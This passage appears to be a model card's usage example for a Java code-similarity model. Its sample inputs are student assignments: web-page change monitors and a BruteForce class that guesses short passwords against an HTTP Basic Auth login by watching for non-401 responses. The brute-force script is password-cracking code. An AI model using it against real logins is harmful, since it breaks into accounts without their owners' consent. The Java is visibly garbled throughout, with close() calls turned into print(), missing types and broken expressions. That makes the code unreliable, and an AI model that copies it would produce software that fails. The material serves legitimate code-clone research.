\n\t      newFile = File.createTempFile("new", "tmp");\n          String tempFilePath = newFile.getAbsolutePath();\n          DataOutputStream outFile = new DataOutputStream(new FileOutputStream(tempFilePath));\n          outFile.writeBytes(newPageData);\n          outFile.print();\n          \n          \n          String commandLine = "diff " + oldPageFileName + " " + tempFilePath;\n          Process p = Runtime.getRuntime().exec(commandLine);\n          BufferedReader diffs = new BufferedReader(new InputStreamReader(p.getInputStream()));\n          String line;\n          while((line = diffs.readLine()) != null)\n            differences += line + "\\n";\n          diffs.print();\n          newFile.delete();\n\t    }\n\t    catch(IOException e)\n\t    {\n\t        writeProgramLog("Exception: " + e);\n\t    }\n\t    return differences;\n\t}  \n\n\t\n    private void mail(String mailMessage)\n    {\n        \n        Vector emailAddresses = new Vector();\n        String watchDogEmailFile = "watchDogEmail_rcroft.txt";\n\n        \n        File emailFile = new File(watchDogEmailFile);\n        if(emailFile.exists())\n        {\n            try\n            {\n                \n                BufferedReader inWatchDogEmailFile = new BufferedReader(new InputStreamReader(new FileInputStream(watchDogEmailFile)));\n                String line;\n                while ((line = inWatchDogEmailFile.readLine()) != null)\n                {\n                    line = line.trim();\n                    if((line != "") && (line != "\\n"))\n                        emailAddresses.add(line);\n                }\n                inWatchDogEmailFile.print();\n    \t    }\n    \t    catch(FileNotFoundException e)\n    \t    {\n    \t        writeProgramLog("Exception: " + e);\n    \t    }\n    \t    catch(IOException e)\n    \t    {\n    \t        writeProgramLog("Exception: " + e);\n    \t    }\n        }\n        else\n        {\n            emailAddresses.add("@yallara.cs.rmit.edu.");\n            emailAddresses.add("[email protected].");\n        }\n                \n        if(emailAddresses.size() > 0) \n        {\n            try\n            {\n                String fromAddress = "From: " + "WatchDog Program ()" + " <" + System.getProperty("user.name") + "@" + InetAddress.getLocalHost().getHostName() + ">";\n        \t\tDateFormat longTimestamp = DateFormat.getDateTimeInstance(DateFormat.FULL, DateFormat.FULL);\n                String subject = "Subject: [SEC project] Notification of target file changes (" + longTimestamp.format(new Date()) +")";\n                for(int i = 0; i < emailAddresses.size(); i++)\n                {\n                    String toAddress = (String) emailAddresses.get(i);\n                    try\n                    {\n                        URL mailURL = new URL("mailto: " + toAddress);\n                        URLConnection mailConnection = mailURL.openConnection();\n                        mailConnection.setDoInput(false);\n                        mailConnection.setDoOutput(true);\n                        mailConnection.connect();\n                        PrintWriter mailWriter = new PrintWriter(new OutputStreamWriter(mailConnection.getOutputStream()));\n                        mailWriter.print(": " + toAddress + "\\n");\n                        mailWriter.print(fromAddress + "\\n");\n                        mailWriter.print(subject + "\\n");\n                        mailWriter.print(mailMessage);\n                        mailWriter.print();\n                        writeProgramLog("\\tNotification mailed in this run.");\n                    }\n                    catch(MalformedURLException e)\n                    {\n                        writeProgramLog("Exception: " + e);\n                    }\n                    catch(IOException e)\n                    {\n                        writeProgramLog("Exception: " + e);\n                    }\n                }\n            }\n            catch(UnknownHostException e)\n            {\n                writeProgramLog("Exception: " + e);\n            }  \n        }  \n    } \n    \n\n\t\n    private void writeHash(byte [] newHash, String fileName)\n    {\n        try\n        {\n            DataOutputStream outFile = new DataOutputStream(new FileOutputStream(fileName));\n            outFile.write(newHash, 0, newHash.length);\n            outFile.print();\n        }\n        catch(IOException e)\n        {\n            writeProgramLog("Exception: " + e);\n        }\n    }  \n    \n\t\n    private void writePage(String newPage, String fileName)\n    {\n        try\n        {\n            DataOutputStream outFile = new DataOutputStream(new FileOutputStream(fileName));\n            outFile.writeBytes(newPage);\n            outFile.print();\n        }\n        catch(IOException e)\n        {\n            writeProgramLog("Exception: " + e);\n        }\n    }  \n    \n\n\t\n    private void writeProgramLog(String comment)\n    {\n        String fileName = "watchDogLog_rcroft.txt";\n        try\n        {\n            DataOutputStream outFile = new DataOutputStream(new FileOutputStream(fileName, true));\n            outFile.writeBytes(comment + "\\n");\n            outFile.flush();\n            outFile.print();\n        }\n        catch(IOException e)\n        {\n            \n            \n            System.out.println("Exception: " + e);\n        }\n    }  \n\n\t\n    private WebPage getPage()\n    {\n        WebPage tempWebPage = new WebPage();\n        try\n        {\n            \n            \n            \n            String urlName = "http://www.cs.rmit.edu./students/";\n   \t    \tURL targetURL= new URL(urlName);\n           \tHttpURLConnection connection = (HttpURLConnection) targetURL.openConnection();\n        \n            \n            connection.connect();\n            connection.getResponseCode();\n            if(connection.getResponseCode() == 200)\n\t\t    {\n\t\t        String fileContents = "";\n\t\t        BufferedReader in = new BufferedReader(new InputStreamReader(connection.getInputStream()));\n                String line;\n    \t\t    while((line = in.readLine()) != null)\n\t\t    \t    fileContents = fileContents + line + "\\n";\n\t\t        in.print();\n\t\t        tempWebPage.setPageContents(fileContents);\n    \t\t    tempWebPage.setSuccess(true);\n    \t\t    connection.disconnect();\n\t        }\n\t        else\n\t\t    {\n    \t\t    writeProgramLog("Failed  connect " + connection.getResponseCode());\n\t\t    } \n        }\n        catch(IOException e)\n        {\n    \t    writeProgramLog("Exception " + e);\n        } \n        return tempWebPage;\n    } \n    \n\t\n    private  byte[] calcHash(String pageContents)\n    {\n        byte[] outHash = null;\n        try\n        {\n            MessageDigest msg = MessageDigest.getInstance("");\n            msg.reset();\n            msg.update(pageContents.getBytes());\n            outHash = msg.digest();\n            msg.reset();\n        }\n        catch(NoSuchAlgorithmException e)\n        {\n            writeProgramLog("Exception: " + e);\n        }\n        return outHash;\n    } \n        \n} \n',
    '\n\n\n\n \nimport java.io.*;\nimport java.net.*;\nimport java.Runtime;\nimport java.util.*;\nimport java.net.smtp.SmtpClient; \n\n\n\npublic class WatchDog\n\n{\n\n   static String strImageOutputFile01      = "WebPageImages01.txt";\n   static String strImageOutputFile02      = "WebPageImages02.txt";\n\n   static String strWebPageOutputFile01    = "WebPageOutput01.txt";\n   static String strWebPageOutputFile02    = "WebPageOutput02.txt";\n\n   static String strWatchDogDiffFile_01_02 = "WatchDogDiff_01_02.txt";\n\n   static String strFromEmailDefault = "@.rmit.edu.";\n   static String strToEmailDefault   = "@.rmit.edu.";\n\n   static String strFromEmail = null;\n   static String strToEmail   = null;\n\n\n\n\n   public static void main (String args[])\n   \n   {\n\n         \n         \n         \n         \n         \n\n      URL url = null;\n      HttpURLConnection urlConnection;\n      int intContentLength;\n      String strWebPageText = "";\n\n      String strURL     = "http://www.cs.rmit.edu./students/";\n      String strPrePend = "http://www.cs.rmit.edu.";\n\n      boolean boolURLisOK = true;\n\n\n\n\n\n      System.out.println();\n\n\n         \n         \n      tidyUpWatchDogFiles();\n\n\n         \n         \n         \n         \n      promptForEmailAddresses();\n\n\n\n\n      try\n      {\n            \n            \n         url = new URL(strURL);       \n      }\n\n      catch(MalformedURLException e)\n      {\n         System.out.println("ERROR:  invalid URL " + strURL);   \n         System.err.println(e);  \n \n         boolURLisOK = false;\n         url = null;\n      }    \n\n      catch(Exception e)\n      {\n         System.out.println("Exception");   \n         System.err.println(e);  \n      }\n\n\n      System.err.println();  \n\n\n      if (boolURLisOK)\n      {\n         try\n         { \n\n               \n               \n            urlConnection = (HttpURLConnection)url.openConnection();\n\n\n               \n               \n            InputStream urlStream = urlConnection.getInputStream();\n\n\n               \n               \n            int intNumRead = urlStream.print();\n            String strNewContent; \n\n            while (intNumRead != -1)\n            {\n               intNumRead = urlStream.print();\n               if (intNumRead != -1)\n               {\n                  strNewContent = (char)intNumRead + ""; \n                  strWebPageText += strNewContent;\n               }\n            }\n\n            urlStream.print(); \n\n\n\n               \n               \n            if (strWebPageText != null)\n            {\n\n               if (fileExists(strWebPageOutputFile01))\n               {\n                  writeTextToFile(strWebPageText, strWebPageOutputFile02);               \n               }\n\n               else\n               {\n                  writeTextToFile(strWebPageText, strWebPageOutputFile01);               \n               }\n\n\n               if (fileExists(strWebPageOutputFile02))\n               { \n                  System.out.println("Output file");\n                  System.out.println("-----------");\n                  System.out.println("The output file \'"   + \n                                     strWebPageOutputFile02    + \n                                     "\' has NOW BEEN created.");                                    \n                  System.out.println();\n                  System.out.println("Comparison");\n                  System.out.println("----------");\n                  System.out.println("A text comparison  NOW  performed " +\n                                      "with the output");\n                  System.out.println("file \'" + strWebPageOutputFile01 + "\'.");\n                  System.out.println();\n\n\n\n                     \n                     \n\n                     \n                     \n                  createDiffFileIfNeeded(strWebPageOutputFile01, \n                                         strWebPageOutputFile02);                  \n\n\n                     \n                     \n                  if (fileExists(strWatchDogDiffFile_01_02))\n                  { \n\n                     System.out.println("Mail  (ordinary text comparison)");\n                     System.out.println("--------------------------------");\n\n                     if (getFileSize(strWatchDogDiffFile_01_02) > 0)\n                     {\n                        sendMailWithDetectedChanges();\n                        System.out.println("Text diff mail has been sent  the \'\' email address.");\n                     }\n                     else\n                     {\n                        System.out.println("The DIFF file has zero length - text diff mail has NOT been sent.");\n                     }\n\n                  }\n\n\n\n                     \n                     \n                  createImageTextFile(strWebPageOutputFile01, strPrePend);\n                  createImageTextFile(strWebPageOutputFile02, strPrePend);\n\n                  System.out.println();\n                  System.out.println("Image text file/s");\n                  System.out.println("-----------------");\n\n\n                  if (fileExists(strImageOutputFile01))\n                  {\n                     System.out.println("\'" + strImageOutputFile01 + "\' has been created.");\n                     System.out.println("Images from \'" + strImageOutputFile01 + "\'  now  downloaded using");  \n                     System.out.println("the Unix \'wget\' command:");  \n\n                     downloadImages(strImageOutputFile01);\n                  }\n\n                  if (fileExists(strImageOutputFile02))\n                  {\n                     System.out.println();\n                     System.out.println("\'" + strImageOutputFile02 + "\' has been created.");\n                  }\n\n                  System.out.println();\n\n               }\n\n               else if (fileExists(strWebPageOutputFile01))\n               {\n                  System.out.println("Output file");\n                  System.out.println("-----------");\n                  System.out.println("The output file \'"   + \n                                     strWebPageOutputFile01    + \n                                     "\' has NOW BEEN created.");                                    \n                  System.out.println();\n                  System.out.println("Comparison");\n                  System.out.println("----------");\n                  System.out.println("A comparison CANNOT  performed " +\n                                      "with this output file");\n                  System.out.println("because it is the only output file " +\n                                     "in existence.");\n                  System.out.println();\n               }\n\n            }\n\n         }\n\n         catch(Exception e)\n         {\n\n            boolURLisOK = false;\n\n            System.err.println(e);\n         }   \n\n         finally\n         { \n            urlConnection = null;\n            url = null; \n         }\n\n      }\n\n\n      System.out.println();\n\n   }\n\n\n\n\n\n\n\n   static void tidyUpWatchDogFiles()\n   \n   {\n\n         \n         \n\n\n         \n         \n      deleteFile(strWatchDogDiffFile_01_02);\n\n\n         \n         \n      deleteFile(strImageOutputFile01);\n      deleteFile(strImageOutputFile02);\n\n\n      if (fileExists(strWebPageOutputFile01))\n      {\n\n         if (fileExists(strWebPageOutputFile02))\n         {\n               \n               \n               \n               \n               \n            deleteFile(strWebPageOutputFile01);\n            renameFile(strWebPageOutputFile02, strWebPageOutputFile01);\n         }\n\n      }\n\n      else\n      {\n            \n            \n            \n         deleteFile(strWebPageOutputFile02);\n      }\n\n   }\n\n\n\n\n\n\n\n   static void promptForEmailAddresses()\n   \n   {      \n\n\n      BufferedReader stdin = new BufferedReader(new InputStreamReader(System.in));\n\n\n\n\n         \n         \n      System.out.println();\n      System.out.println("\'From\' email address");\n      System.out.println("--------------------");\n      System.out.println("Please enter a \'From\' email address,  press Enter for default");\n      System.out.print("(default: " + strFromEmailDefault + "):  ");\n\n      try\n      {\n         strFromEmail = stdin.readLine();\n      }\n      catch (Exception e)\n      {\n         System.err.println(e);\n      }\n \n\n      System.out.println();\n\n      if ( (strFromEmail == null) || (strFromEmail.length() == 0) )\n      {\n         System.out.println(" email address was entered.");         \n         System.out.println("The \'From\' email address  default :  " + strFromEmailDefault);         \n         strFromEmail = strFromEmailDefault;\n      }\n\n      else\n      {\n         System.out.println("The entered \'From\' email address is:  " + strFromEmail);         \n      }\n\n\n\n         \n         \n      System.out.println();\n      System.out.println("\'\' email address");\n      System.out.println("------------------");\n      System.out.println("Please enter a \'\' email address,  press Enter for default");\n      System.out.print("(default: " + strToEmailDefault + "):  ");\n\n      try\n      {\n         strToEmail = stdin.readLine();\n      }\n      catch (Exception e)\n      {\n         System.err.println(e);\n      }\n \n\n      System.out.println();\n\n      if ( (strToEmail == null) || (strToEmail.length() == 0) )\n      {\n         System.out.println(" email address was entered.");         \n         System.out.println("The \'\' email address  default :  " + strToEmailDefault);         \n         strToEmail = strToEmailDefault;\n      }\n\n      else\n      {\n         System.out.println("The entered \'\' email address is:  " + strToEmail);         \n      }\n\n   }\n\n\n\n\n\n\n\n   static void writeTextToFile(String strText,\n                               String strWriteToThisFileName)\n   \n   {\n\n      try\n      {\n\n         File newFile = new File(strWriteToThisFileName);\n\n         if (newFile.exists())\n         {\n            newFile.delete();\n         }\n\n\n         BufferedWriter toFile =\n              new BufferedWriter(new FileWriter(newFile,\n                                                false));\n\n         toFile.write(strText);\n\n         toFile.print();\n         toFile = null;\n         newFile = null;\n\n      }\n\n      catch(Exception e)\n      {\n         System.err.println(e.toString());\n         System.out.println("File write problem for \'" + \n                            strWriteToThisFileName     +\n                            "\'.");               \n      }\n\n   }\n\n\n\n\n\n\n\n   static void createDiffFileIfNeeded(String strFileName1, \n                                      String strFileName2)\n   \n   {\n\n\n\n\n\n\n\n\n\n\n\n\n\n         \n         \n\n         \n         \n      try\n      {\n\n         Process p = Runtime.getRuntime().exec("./diff_files.sh");\n         p.waitFor();\t\n\n      }\n\n      catch (Exception e)\n      {\n         System.out.println("Shell script exception");\n         System.out.println("----------------------");\n         System.err.println(e);\n         System.out.println("");\n      }\n\n   }\n\n\n\n\n\n\n\n   static void createImageTextFile(String inputFile, String prePend)\n   \n   {\n\n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n\n      String str;\n      String strImage = "";\n      String strImageArray[];\n      String strInputFromFile = "";\n      String strSearchString = "<img src";\n\n      boolean boolContinue = true;\n\n      int intImageCounter  = 0;\n      int intStartSearch   = 0;\n\n      char ch;\n\n\n\n\n\n      strImageArray = new String[1000];\n\n\n\n         \n         \n      try\n      {\n\n         BufferedReader file =\n              new BufferedReader(new FileReader(inputFile));\n\n\n         while ( (str = file.readLine()) != null)\n         {\n            strInputFromFile += str;\n         }\n\n         file.print();\n         file = null;\n\n      }\n\n      catch (Exception e)\n      {\n         boolContinue = false;\n         System.err.println(e);       \n      }\t\n\n\n\n      if (boolContinue)\n      {\n\n         strInputFromFile = (strInputFromFile.toLowerCase()).trim();\n\n         intStartSearch = strInputFromFile.indexOf(strSearchString, intStartSearch);\n\n\n         while (intStartSearch != -1)\n         {\n\n            intStartSearch += 8;\n\n            while ( (strInputFromFile.charAt(intStartSearch) == \' \')  ||\n                    (strInputFromFile.charAt(intStartSearch) == \'=\')  ||\n                    (strInputFromFile.charAt(intStartSearch) == \'\\"\')   )\n            {\n               intStartSearch++;          \n            }\n\n            while ((strInputFromFile.charAt(intStartSearch) != \'\\"\'))              \n            {\n\n               ch = strInputFromFile.charAt(intStartSearch);\n\n               strImage += String.valueOf(ch);\n               intStartSearch++;\n\n            }\n\n\n            if (strImage.startsWith("/"))\n               strImage = prePend + strImage;          \n\n\n            intImageCounter++;\n            strImageArray[intImageCounter - 1] = strImage;\n\n            strImage = "";\n\n            intStartSearch = strInputFromFile.indexOf(strSearchString, intStartSearch);\n\n         }\n\n\n         if (inputFile.equals(strWebPageOutputFile01))     \n         { \n            writeTextArrayToFile(strImageArray, \n                                 strImageOutputFile01,\n                                 intImageCounter);\n         }\n         else if (inputFile.equals(strWebPageOutputFile02))     \n         { \n            writeTextArrayToFile(strImageArray, \n                                 strImageOutputFile02,\n                                 intImageCounter);\n         }\n\n\n      }\n\n   }\n\n\n\n\n\n\n\n   static void downloadImages(String ImageOutputFile)\n   \n   {\n\n      Process p;\n\n      String str;\n      String strFileName;\n\n\n\n      try      \n      {\n\n         BufferedReader file =\n                 new BufferedReader(new FileReader(ImageOutputFile));\n\n\n\n         while ( (str = file.readLine()) != null)\n         {\n\n            strFileName = getImageFileName(str);\n\n            System.out.println("    " + str);\n            System.out.println("             file name:  " + strFileName);                                                           \n\n\n            if (fileExists(strFileName))\n               deleteFile(strFileName);\n\n\n            p = Runtime.getRuntime().exec("wget " + str);\n            p.waitFor();\t\n\n         }\n\n\n         file = null;\n\n      }\n\n      catch (Exception e)\n      {\n         System.err.println("downloadingImages:  " + e);\n      }\n\n   }\n\n\n\n\n\n\n\n   static String getImageFileName(String imageFileName)\n   \n   {\n\n         \n         \n         \n\n      String strFileName;\n\n      int intFileNameLength     = imageFileName.length();      \n      int intStartPosOfFileName = intFileNameLength - 1;\n\n\n\n\n         \n         \n      while ( (intStartPosOfFileName >= 0) && \n              (imageFileName.charAt(intStartPosOfFileName) != \'/\') )\n      {\n         intStartPosOfFileName--; \n      }\n\n\n      strFileName = imageFileName.substring(intStartPosOfFileName + 1, \n                                            intFileNameLength);\n\n\n      return strFileName;\n\n   }\n\n\n\n\n\n\n\n   static void writeTextArrayToFile(String strTextArray[],\n                                    String strWriteToThisFileName,\n                                    int numberOfImages )\n   \n   {\n\n      boolean boolFirstLineWritten = false;\n\n\n\n      try\n      {\n\n         File newFile = new File(strWriteToThisFileName);\n\n         if (newFile.exists())\n         {\n            newFile.delete();\n         }\n\n\n         BufferedWriter toFile =\n              new BufferedWriter(new FileWriter(newFile,\n                                                false));\n\n         for ( int i = 0 ; i < numberOfImages ; i++ )\n         {\n\n            if (boolFirstLineWritten) \n               toFile.newLine();\n            else\n               boolFirstLineWritten = true;\n  \n\n            toFile.write(strTextArray[i]);\n\n         }\n\n\n         toFile.print();\n         toFile = null;\n         newFile = null;\n\n      }\n\n      catch(Exception e)\n      {\n         System.err.println(e.toString());\n         System.out.println("File write problem for \'" + \n                            strWriteToThisFileName     +\n                            "\'.");               \n      }\n\n   }\n\n\n\n\n\n\n\n   static boolean fileExists(String strFileName)\n   \n   {\n\n      boolean boolReturnValue;\n      File aFile = new File(strFileName);\n\n\n      if (aFile.exists())\n         boolReturnValue = true;\n      else\n         boolReturnValue = false;\n      \n\n      aFile = null;\n\n\n      return boolReturnValue;\n\n   }\n\n\n\n\n\n\n\n   static void deleteFile(String strFileName)\n   \n   {\n\n\n      if (fileExists(strFileName))\n      { \n         File aFile = new File(strFileName);\n\n         try\n         {\n            aFile.delete();\n         }\n\n         catch (Exception e)\n         {\n            System.err.println(e);\n         }\n\n\n         aFile = null;\n\n      }\n\n   }\n\n\n\n\n\n\n\n   static void renameFile(String strFromFileName, String strToFileName)\n   \n   {\n\n\n      File from = new File(strFromFileName);\n      File to   = new File(strToFileName);\n\n\n      boolean success = from.renameTo();\n\n\n      from = null;\n      to = null;\n\n   }\n\n\n\n\n\n\n\n   static  getFileSize(String strFileName)\n   \n   {\n\n       lngReturnValue;\n\n\n\n      File file = new File(strFileName);\n      \n      lngReturnValue = file.length();\n\n      file = null;\n\n\n      return lngReturnValue;\n\n   }\n\n\n\n\n\n\n\n   static void sendMailWithDetectedChanges()\n   \n   {\n\n      String str;\n      String strInputFromFile = null;\n\n\n\n      try \n      { \n\n\n         BufferedReader fromFile =\n              new BufferedReader(new FileReader(strWatchDogDiffFile_01_02));\n\n\n         while ( (str = fromFile.readLine()) != null)\n         {\n            strInputFromFile += str;\n         }\n\n         fromFile.print();\n         fromFile = null;\n\n\n            \n            \n            \n         SmtpClient smtp = new SmtpClient(); \n\n            \n            \n         smtp.from(strFromEmail); \n\n            \n            \n         smtp.to(strToEmail); \n\n            \n            \n         PrintStream msg = smtp.startMessage(); \n\n            \n            \n         msg.println(": " + strToEmail); \n\n            \n            \n         msg.println("From: " + strFromEmail); \n         msg.println("Subject: Change in website content\\n"); \n         msg.println(strInputFromFile); \n\n            \n            \n            \n         smtp.closeServer(); \n\n      } \n\n      catch (IOException e) \n      {\n         System.err.println(e);     \n      } \n\n   }\n\n}',
    'import java.io.*;\nimport java.net.*;\nimport java.text.*;\nimport java.util.*;\n\nclass BruteForce {\n\n    String password="";\n\n    int num =401;\n\n\n    public static void main (String[] args) {\n\n      String str="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";\n\n      BruteForce URLcon;\n\n      int length = 0;\n\n      String passwd="";\n\n       int t0,t1;\n\n      \n      if (args.length == 0) {\n      \t\n      \tSystem.err.println (\n      \t\t\n      \t\t"Usage : java BruteForce <username>");\n      \treturn;\n      \t\n      \t}\n      String username = args[0];\n      \n\n      t0=System.currentTimeMillis();\n\n      System.out.println ("  " + new Date());\n      \n      System.out.println ("Using BruteForce method  attack "+username+"\'s password.Please waiting.......");\n\n       for (int i=0;i<str.length();i++){\n\n             passwd=str.substring(i,i+1);\n\n             URLcon = new BruteForce (passwd,username);\n\n             if ((URLcon.num)!=401) {\n\n             \tt1=System.currentTimeMillis();\n\n                System.out.println("The password: "+ passwd);\n\n             \tdouble dt =t1-t0;\n\n\n\n             \tSystem.out.println("It took "+ DecimalFormat.getInstance().format(dt/1000)+ " seconds.");\n\n                System.out.println ("Finish  " + new Date());\n                \n             \treturn;\n\n             }\n\n             for (int j=0;j<str.length();j++){\n\n                passwd =str.substring(i,i+1)+str.substring(j,j+1);\n\n                URLcon = new BruteForce (passwd,username);\n\n                if ((URLcon.num)!=401) {\n\n             \t     t1=System.currentTimeMillis();\n\n                     System.out.println("The password: "+ passwd);\n\n\n                     double dt =t1-t0;\n\n\n\n                     System.out.println("It took "+ DecimalFormat.getInstance().format(dt/1000)+ " seconds.");\n                     System.out.println ("Finish  " + new Date());\n             \t return;\n\n                 }\n                for (int m=0;m<str.length();m++){\n\n                  passwd = str.substring(i,i+1)+str.substring(j,j+1)+str.substring(m,m+1);\n\n                  URLcon = new BruteForce (passwd,username);\n\n                  if ((URLcon.num)!=401) {\n\n                 \tt1=System.currentTimeMillis();\n\n                    System.out.println("The password: "+ passwd);\n\n\n             \t    double dt =t1-t0;\n\n\n\n                 \tSystem.out.println("It took "+DecimalFormat.getInstance().format(dt/1000)+ " seconds.");\n                    \n                    System.out.println ("Finish  " + new Date());\n                    \n             \t    return;\n\n                  }\n\n\n             }\n\n}\n}\n        System.out.println(" not find the password");\n\n}\n\n   public  BruteForce  (String password, String username){\n\n  \t  String urlString = "http://sec-crack.cs.rmit.edu./SEC/2/" ;\n\n      \n\n      try {\n\n        String userPassword = username+":"+password ;\n\n        String encoding = new userPassword.misc.BASE64Encoder().encode (userPassword.getBytes());\n\n        URL url = new URL (urlString);\n\n        HttpURLConnection uc = (HttpURLConnection) url.openConnection();\n\n        uc.setRequestProperty ("Authorization", " " + encoding);\n\n        url = uc.getResponseCode();\n\n\n       }\n        catch(MalformedURLException e){\n       \t  System.out.println(e);\n       }catch(IOException e){\n          System.out.println(e);\n       }\n\n\n   }\n}',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-CodeBERTa-Softmax-PairClass-VAST")
# Run inference
sentences = [
    'import java.io.*;\nimport java.util.*;\nimport java.text.*;\nimport java.net.*;\nimport java.security.*;\n\n\n\npublic class WatchDog extends Thread\n{\n\n\t\n\tpublic static void main (String args[])\n\t{\n\t    WatchDog watcher = new WatchDog();\n\t    watcher.run();\n\t}\n\n\t\n    public void run()\n    {\n   \t\tDateFormat longTimestamp = DateFormat.getDateTimeInstance(DateFormat.FULL, DateFormat.FULL);\n          twentyFourHours = 24 * 60 * 60 * 1000;\n        \n\n   \t\twriteProgramLog("Program started at " + longTimestamp.format(new Date()));\n        while(true)\n        {\n    \t\twriteProgramLog("Running run at " + longTimestamp.format(new Date()));\n            compare();\n            try\n            {\n                sleep(twentyFourHours);\n            }\n            catch(InterruptedException e)\n            {\n                writeProgramLog("Program terminated at " + longTimestamp.format(new Date()));\n                System.exit(0);\n            }\n        }\n    } \n\n\t\n    private void compare()\n    {\n        \n        \n        \n        String watchDogFile = "watchDogHash_rcroft.";\n        String watchDogPageFile = "watchDogPage_rcroft.html";\n    \n        File watchDogLogFile = new File(watchDogFile);\n        \n        if(!watchDogLogFile.exists())\n        {\n            \n            \n            \n            \n            \n            WebPage targetPage = getPage();\n            if(targetPage.getSuccess())\n            {\n                byte[] newHash = calcHash(targetPage.getPageContents());\n                writeHash(newHash, watchDogFile);\n                writePage(targetPage.getPageContents(), watchDogPageFile);\n            }\n        }\n        else\n        {\n            try\n            {\n                \n                \n                \n                \n                \n                \n                WebPage targetPage = getPage();\n                if(targetPage.getSuccess())\n                {\n                    \n                    byte[] oldHash = new byte[16]; \n                    byte[] newHash = calcHash(targetPage.getPageContents());\n\n                    \n                    DataInputStream inWatchDogFile = new DataInputStream(new FileInputStream(watchDogFile));\n                    inWatchDogFile.readFully(oldHash);\n                    inWatchDogFile.print();\n                    \n                    \n                    \n                    \n                    if(!java.util.Arrays.equals(oldHash, newHash))\n                    {\n                        String differences = enumerateDifferences(watchDogPageFile, targetPage.getPageContents());\n                        mail(differences);\n                        writeHash(newHash, watchDogFile);\n                        writePage(targetPage.getPageContents(), watchDogPageFile);\n                    }\n                }\n            }\n            catch(IOException e)\n            {\n                writeProgramLog("Exception: " + e);\n            }\n        }\n    } \n    \n\n\t\n\tprivate String enumerateDifferences(String oldPageFileName, String newPageData)\n\t{\n\t    String differences = "";\n\t    File newFile = null;\n\n\t    try\n\t    {\n\t      \n\t      \n\t      newFile = File.createTempFile("new", "tmp");\n          String tempFilePath = newFile.getAbsolutePath();\n          DataOutputStream outFile = new DataOutputStream(new FileOutputStream(tempFilePath));\n          outFile.writeBytes(newPageData);\n          outFile.print();\n          \n          \n          String commandLine = "diff " + oldPageFileName + " " + tempFilePath;\n          Process p = Runtime.getRuntime().exec(commandLine);\n          BufferedReader diffs = new BufferedReader(new InputStreamReader(p.getInputStream()));\n          String line;\n          while((line = diffs.readLine()) != null)\n            differences += line + "\\n";\n          diffs.print();\n          newFile.delete();\n\t    }\n\t    catch(IOException e)\n\t    {\n\t        writeProgramLog("Exception: " + e);\n\t    }\n\t    return differences;\n\t}  \n\n\t\n    private void mail(String mailMessage)\n    {\n        \n        Vector emailAddresses = new Vector();\n        String watchDogEmailFile = "watchDogEmail_rcroft.txt";\n\n        \n        File emailFile = new File(watchDogEmailFile);\n        if(emailFile.exists())\n        {\n            try\n            {\n                \n                BufferedReader inWatchDogEmailFile = new BufferedReader(new InputStreamReader(new FileInputStream(watchDogEmailFile)));\n                String line;\n                while ((line = inWatchDogEmailFile.readLine()) != null)\n                {\n                    line = line.trim();\n                    if((line != "") && (line != "\\n"))\n                        emailAddresses.add(line);\n                }\n                inWatchDogEmailFile.print();\n    \t    }\n    \t    catch(FileNotFoundException e)\n    \t    {\n    \t        writeProgramLog("Exception: " + e);\n    \t    }\n    \t    catch(IOException e)\n    \t    {\n    \t        writeProgramLog("Exception: " + e);\n    \t    }\n        }\n        else\n        {\n            emailAddresses.add("@yallara.cs.rmit.edu.");\n            emailAddresses.add("[email protected].");\n        }\n                \n        if(emailAddresses.size() > 0) \n        {\n            try\n            {\n                String fromAddress = "From: " + "WatchDog Program ()" + " <" + System.getProperty("user.name") + "@" + InetAddress.getLocalHost().getHostName() + ">";\n        \t\tDateFormat longTimestamp = DateFormat.getDateTimeInstance(DateFormat.FULL, DateFormat.FULL);\n                String subject = "Subject: [SEC project] Notification of target file changes (" + longTimestamp.format(new Date()) +")";\n                for(int i = 0; i < emailAddresses.size(); i++)\n                {\n                    String toAddress = (String) emailAddresses.get(i);\n                    try\n                    {\n                        URL mailURL = new URL("mailto: " + toAddress);\n                        URLConnection mailConnection = mailURL.openConnection();\n                        mailConnection.setDoInput(false);\n                        mailConnection.setDoOutput(true);\n                        mailConnection.connect();\n                        PrintWriter mailWriter = new PrintWriter(new OutputStreamWriter(mailConnection.getOutputStream()));\n                        mailWriter.print(": " + toAddress + "\\n");\n                        mailWriter.print(fromAddress + "\\n");\n                        mailWriter.print(subject + "\\n");\n                        mailWriter.print(mailMessage);\n                        mailWriter.print();\n                        writeProgramLog("\\tNotification mailed in this run.");\n                    }\n                    catch(MalformedURLException e)\n                    {\n                        writeProgramLog("Exception: " + e);\n                    }\n                    catch(IOException e)\n                    {\n                        writeProgramLog("Exception: " + e);\n                    }\n                }\n            }\n            catch(UnknownHostException e)\n            {\n                writeProgramLog("Exception: " + e);\n            }  \n        }  \n    } \n    \n\n\t\n    private void writeHash(byte [] newHash, String fileName)\n    {\n        try\n        {\n            DataOutputStream outFile = new DataOutputStream(new FileOutputStream(fileName));\n            outFile.write(newHash, 0, newHash.length);\n            outFile.print();\n        }\n        catch(IOException e)\n        {\n            writeProgramLog("Exception: " + e);\n        }\n    }  \n    \n\t\n    private void writePage(String newPage, String fileName)\n    {\n        try\n        {\n            DataOutputStream outFile = new DataOutputStream(new FileOutputStream(fileName));\n            outFile.writeBytes(newPage);\n            outFile.print();\n        }\n        catch(IOException e)\n        {\n            writeProgramLog("Exception: " + e);\n        }\n    }  \n    \n\n\t\n    private void writeProgramLog(String comment)\n    {\n        String fileName = "watchDogLog_rcroft.txt";\n        try\n        {\n            DataOutputStream outFile = new DataOutputStream(new FileOutputStream(fileName, true));\n            outFile.writeBytes(comment + "\\n");\n            outFile.flush();\n            outFile.print();\n        }\n        catch(IOException e)\n        {\n            \n            \n            System.out.println("Exception: " + e);\n        }\n    }  \n\n\t\n    private WebPage getPage()\n    {\n        WebPage tempWebPage = new WebPage();\n        try\n        {\n            \n            \n            \n            String urlName = "http://www.cs.rmit.edu./students/";\n   \t    \tURL targetURL= new URL(urlName);\n           \tHttpURLConnection connection = (HttpURLConnection) targetURL.openConnection();\n        \n            \n            connection.connect();\n            connection.getResponseCode();\n            if(connection.getResponseCode() == 200)\n\t\t    {\n\t\t        String fileContents = "";\n\t\t        BufferedReader in = new 